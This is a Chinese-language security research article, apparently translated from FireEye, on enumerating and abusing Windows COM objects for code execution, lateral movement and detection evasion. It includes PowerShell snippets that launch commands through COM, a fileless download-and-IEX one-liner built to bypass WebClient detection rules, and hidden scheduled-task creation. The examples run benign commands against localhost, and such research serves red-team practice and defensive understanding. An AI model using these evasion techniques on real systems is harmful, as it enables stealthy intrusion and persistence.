概述
渗透测试人员、红蓝对抗的蓝军(攻击方)、恶意行动者经常会选择COM对象来实现横向移动。此前,一些安全研究人员陆续针对COM对象开展研究,包括Matt Nelson(enigma0x3)在2017年发表了一篇关于COM对象的博客文章。其中,一些COM对象也被添加到了Empire项目中。为了提升红蓝对抗中蓝军的具体实践,FireEye也针对Windows 7和Windows 10操作系统上的可用COM对象开展了研究。我们发现了几个有趣的COM对象,可以允许任务调度、无文件下载并执行、命令执行。尽管这些对象本身不是安全漏洞,但可以使用这些对象基于进程行为和启发式特征来对抗检测。
什么是COM对象?
根据微软的说法,“Microsoft组件对象模型(COM)是一个独立于平台的、分布式的、面向对象的系统,用于创建可以交互的二进制软件组件。COM是Microsoft的OLE(复合文档)、ActiveX(支持Internet的组件)以及其他组件的基础技术。”
COM是在1990年代创建的,作为独立于语言的二进制互相操作性标准,COM使得单独的代码模块能够相互交互。这样一来,就可以在单个进程或跨进程中实现,为分布式COM(DCOM)添加序列化,允许通过网络进行远程过程调用(Remote Procedure Call)。
专有名词“COM对象”指的是实现从IUnknown派生的一个或多个接口的可执行代码部分。IUnknown是一个包含3个方法的接口,支持对象生存期间引用计数和其它接口的发现。每个COM对象都由唯一的二进制标识符进行标识。这些128位(16字节)的全局唯一标识符通常被称为GUID。当GUID被用于标识COM对象时,它作为CLSID(类标识符)使用;当GUID被用于标识接口时,它作为IID(接口标识符)使用。一些CLSID还具有被称为ProgID的标识,该标识具有可读性。
由于COM是二进制互相操作性标准,因此COM对象也旨在从不同语言实现并使用。尽管它们通常在调用进程的地址空间中进行实例化,但是支持在进程外通过代理调用的进程间通信来运行它们,甚至可以远程地在不同主机之间运行。
Windows注册表中包含一组键,使系统能够将CLSID映射到底层代码实现(位于DLL或EXE中),从而创建对象。
方法论
注册表项HKEY_CLASSES_ROOT\CLSID将公开枚举COM对象所需的所有信息,包括CLSID和ProgID。CLSID是与COM类对象关联的全局唯一标识符。ProgID是一个对开发者非常友好的字符串,表示底层的CLSID。
可以使用下面的PowerShell命令来获取CLSID列表。
列举HKCR下的CLSID:
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt
输出类似于下面所示。
HKCR的CLSID缩略列表,输出类似于如下所示:
{0000002F-0000-0000-C000-000000000046} {00000300-0000-0000-C000-000000000046} {00000301-A8F2-4877-BA0A-FD2B6645FB94} {00000303-0000-0000-C000-000000000046} {00000304-0000-0000-C000-000000000046} {00000305-0000-0000-C000-000000000046} {00000306-0000-0000-C000-000000000046} {00000308-0000-0000-C000-000000000046} {00000309-0000-0000-C000-000000000046} {0000030B-0000-0000-C000-000000000046} {00000315-0000-0000-C000-000000000046} {00000316-0000-0000-C000-000000000046}
我们可以使用CLSID列表,依次对每个对象进行实例化,然后枚举每个COM对象公开的方法和属性。PowerShell公开了Get-Member cmdlet,该cmdlet可以用于轻松列出对象上的方法和属性。下面的代码展示了枚举此信息的PowerShell脚本。在我们的研究中,倾向于使用标准用户权限,以展示在最不利的环境下攻击者是如何利用可用COM对象的。
用于枚举可用方法和属性的PowerShell Scriptlet:
$Position = 1 $Filename = "win10-clsid-members.txt" $inputFilename = "clsids.txt" ForEach($CLSID in Get-Content $inputFilename) { Write-Output "$($Position) - $($CLSID)" Write-Output "------------------------" | Out-File $Filename -Append Write-Output $($CLSID) | Out-File $Filename -Append $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID)) $handle | Get-Member | Out-File $Filename -Append $Position += 1 }
我们运行此脚本后,可能会产生一些有意思的副作用,例如任意应用程序被启动、系统冻结、脚本挂起等。通过关闭已经启动的应用程序,或终止生成的进程,可以解决大多数这些问题。
在拥有了所有CLSID列表以及它们公开的方法和属性之后,我们就可以开始寻找有趣的COM对象了。大多数COM服务器(实现COM对象的代码)都是以DLL实现的,其路径存储在注册表键中,例如在InprocServer32下。这一点非常有帮助,因为我们可能需要进行逆向工程,来理解未记录的COM对象。
在Windows 7上,共枚举了8282个COM对象。在Windows 10系统,除了Windows 7已有的对象外,还有3250个新的COM对象。非Microsoft的COM对象通常会被省略,因为它们不能可靠地存在于目标及其上,这限制了这些对象在红蓝对抗实际蓝军攻击中的可用性。为了定位开发人员的计算机,我们在此项研究中涵盖了Windows SDK中的特定Microsoft COM对象。
在获得成员后,使用基于关键字的搜索方法快速得到结果。在我们的研究中,使用了以下关键字:execute(执行)、exec(执行)、spawn(派生)、launch(执行)和run(运行)。
一个例子是Windows 7上的{F1CA3CE9-57E0-4862-B35F-C55328F05F1C}COM对象(WatWeb.WatWebObject)。该COM对象公开了一个名为LaunchSystemApplication的方法,如下图所示。
WatWeb.WatWebObject方法中包含有趣的LaunchSystemApplication方法:
该对象的InprocServer32条目被设置为C:\windows\system32\wat\watweb.dll,这是Microsoft的Genuine Advantage产品密钥验证系统的一部分。LaunchSystemApplication方法需要三个参数,但是这个COM对象没有详细记录,并且需要进行逆向工程,这时,就应该尝试从汇编代码中挖掘一些线索了。
一旦C:\windows\system32\wat\watweb.dll被加载到我们最喜欢的工具(在本文中我们使用IDA Pro)中,就可以找到定义此方法的位置。幸运的是,Microsoft已经公开了调试符号,使得逆向工程更加高效。通过查看反汇编,LaunchSystemApplication调用LaunchSystemApplicationInternal,正如我们所猜测的那样,调用CreateProcess来启动应用程序。在下图中的Hex-Rays反编译器伪代码中可以体现。
通过Hex-Rays伪代码确认由LaunchSystemApplicationInternal调用了CreateProcessW:
但是,这个COM对象是否允许创建任意进程呢?传递给CreateProcess的参数是由用户控制的,并且是从传递给函数的参数派生的。但是,需要注意的是,是在CreateProcess调用之前调用了CWgpOobWebObjectBaseT::IsApprovedApplication。该方法的Hex-Rays伪代码如下图所示。
IsApprovedApplication方法的Hex-Rays伪代码:
实际上,是根据特定模式来验证用户控制的字符串。在这种情况下,字符串必须与slui.exe匹配。随后,用户控制的字符串才能被附加到系统路径,这意味着如果需要,可以考虑替换真正的slui.exe来绕过检查。但遗憾的是,Microsoft执行的验证过程限制了我们无法使用此方法作为通用的进程启动器,这种方法的实用性并不是很高。
在其他场景中,代码执行非常简单。例如,具有CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}的ProcessChain类在C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll中实现。可以在不查看任何反汇编列表的情况下轻松分析这个COM类,因为prchauto.dll包含TYPELIB资源,其中包含可以使用Oleview.exe查看的COM类型库。下图展现了ProcessChainLib的类型库,公开了CommandLine属性和Start方法。Start接受对布尔值的引用。
Oleview.exe在接口定义语言中显示的ProcessChainLib类型库:
基于这一点,可以启动命令,如下所示。
使用ProcessChainLib COM服务器启动进程:
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E")) $handle.CommandLine = "cmd /c whoami" $handle.Start([ref]$True)
采用相同的方式,我们对COM对象进行枚举和检查,也有了其他值得关注的发现。
无文件下载和执行
举例来说,COM对象{F5078F35-C551-11D3-89B9-0000F81FE221}(Msxml2.XMLHTTP.3.0)公开了一个XML HTTP 3.0功能,该功能可用于下载任意代码并执行,无需将Payload写入磁盘,并且不会触发寻找常用System.Net.WebClient的规则。XML HTTP 3.0对象通常用于执行AJAX请求。在这种情况下,可以使用Invoke-Expression Cmdlet(IEX)直接执行获取的数据。
下面的示例展示了本地执行代码的过程。
不包含System.Net.WebClient的无文件下载:
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Send(); IEX $o.responseText;
任务调度
另一个例子是{0F87369F-A4E5-4CFC-BD3E-73E6154572DD},它实现了用于操作Windows任务调度程序服务的Schedule.Service类。该COM对象允许特权用户在不使用schtasks.exe二进制文件或at命令的情况下,在主机(包括远程主机)上执行计划任务。
$TaskName = [Guid]::NewGuid().ToString() $Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service")) $Instance.Connect() $Folder = $Instance.GetFolder("\") $Task = $Instance.NewTask(0) $Trigger = $Task.triggers.Create(0) $Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay)) $Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay 120)) $Trigger.ExecutionTimelimit = "PT5M" $Trigger.Enabled = $True $Trigger.Id = $Taskname $Action = $Task.Actions.Create(0) $Action.Path = “cmd.exe” $Action.Arguments = “/c whoami” $Action.HideAppWindow = $True $Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3) function Convert-Date { param( [datetime]$Date ) PROCESS { $Date.Touniversaltime().tostring("u") -replace " ","T" } }
COM对象枚举
FireEye对Windows 10和Windows 7上的COM对象,以及Microsoft Office中的COM对象进行了研究。本文之前的内容已经介绍了如何枚举系统中所有COM对象,对其进行实例化,并搜寻值得关注的属性和方法的技术。但是,这些只会触及通过这些COM对象可以访问到的表面,因为每个对象都可能会返回无法直接创建的其他对象。
在这里,引入的更改以递归方式搜索COM对象,这些对象仅通过每个枚举OCM对象的成员方法和属性公开。在原始方法中,查看了每个对象直接公开的方法,并没有递归到任何属性,这些属性也可能是自身具有值得关注的方法的COM对象。针对此前方法的改进,有助于我们发现可用于代码执行的新COM对象,并帮助我们发现调用公开代码执行COM对象方法的新方法。
如何发现递归COM对象方法
我们分析了目前公开的所有使用COM对象执行代码的技术,发现它们之间具有一个共同点,就是都利用了在COM对象的子属性中公开的方法。一个例子是“MMC20.Application”COM对象。要利用此COM对象实现代码执行,我们需要在“Document.ActiveView”属性返回的View对象上使用“ExecuteShellCommand”方法,正如Matt Nelson在博客文章上所写的那样。在下图中,我们可以看到该方法只能在“Document.ActiveView”返回的对象中被发现,并且不会被MMC20.Application COM对象直接暴露。
列出MMC20.Application COM对象中的ExecuteShellCommand方法:
另一个例子是“ShellBrowserWindow”COM对象,这也是由Matt Nelson在博客文章中首次撰写的。如下图所示,“ShellExecute”方法没有直接暴露在COM对象中。但是,“Document.Application”属性返回Shell对象的实例,该实例公开ShellExecute方法。
在ShellBrowserWindow COM对象中列出ExecuteShellCommand方法:
作为前两个示例的证据,重要的是不仅要查看COM对象直接公开的方法,还要递归查找具有作为COM对象属性公开的可用方法的对象。这个示例说明了为什么仅仅静态探索COM对象的类型库可能是不够的,只有在动态枚举泛型类型IDispatch的对象后才能访问相关函数。这种递归的方法可以实现查找用于代码执行的新COM对象,以及使用可用于代码执行的公开COM对象的不同方法。
使用这种递归方法,如何找到一种调用公开COM对象方法的新途径呢?我们可以参考“ShellBrowserWindow”COM对象中的“ShellExecute”方法。该方法在本文前面已经详细说明过。以前,众所周知,在“ShellBrowserWindow”COM对象中调用此方法的方式是使用“Document.Application”属性。通过递归COM对象方法,我们发现,还可以对“Document.Application.Parent”属性返回的对象调用“ShellExecute”方法,如下图所示。从逃避检测的角度来看,这可能非常有帮助。
使用ShellBrowserWindow COM对象调用ShellExecute的替代方法:
命令执行
使用这种递归COM对象方法进行探索后,我们能够找到一个ProgID为“Excel.ChartApplication”的COM对象,该对象可用于使用DDEInitiate方法执行代码。这种启动可执行文件的DDEInitiate方法首先在“Excel.Application”COM对象中被滥用,如Cybereason所写的文章所示。“Excel.ChartApplication”COM对象中有多个属性,它们返回可用于执行DDEInitiate方法的对象,如下图所示。尽管这个DDEInitiate方法也是由COM对象直接公开的,但它是在最初的探索过程中被发现的,是在可以从此对象访问的其他对象中公开的方法。
使用Excel.ChartApplication COM对象调用DDEInitiate的不同方法:
该COM对象也可以实例化,并远程用于Office 2013,如下图所示。COM对象只能在Office 2016中本地实例化。当尝试远程实例化Office 2016时,将会返回错误代码,表示COM对象类未注册远程实例化。
使用Excel.ChartApplication远程攻击Office 2013:
总结
COM对象非常强大,功能多样,并且与Windows集成,这也就意味着COM对象几乎总是可用的。COM对象可以用于打破不同的检测模式,包括命令行参数、PowerShell日志记录和启发式检测。COM对象方法的递归搜索,可以帮助我们发现可用于代码执行的新COM对象,以及调用众所周知COM对象方法的新思路。这些COM对象方法可用于打破不同的检测模式,也可以用于横向移动。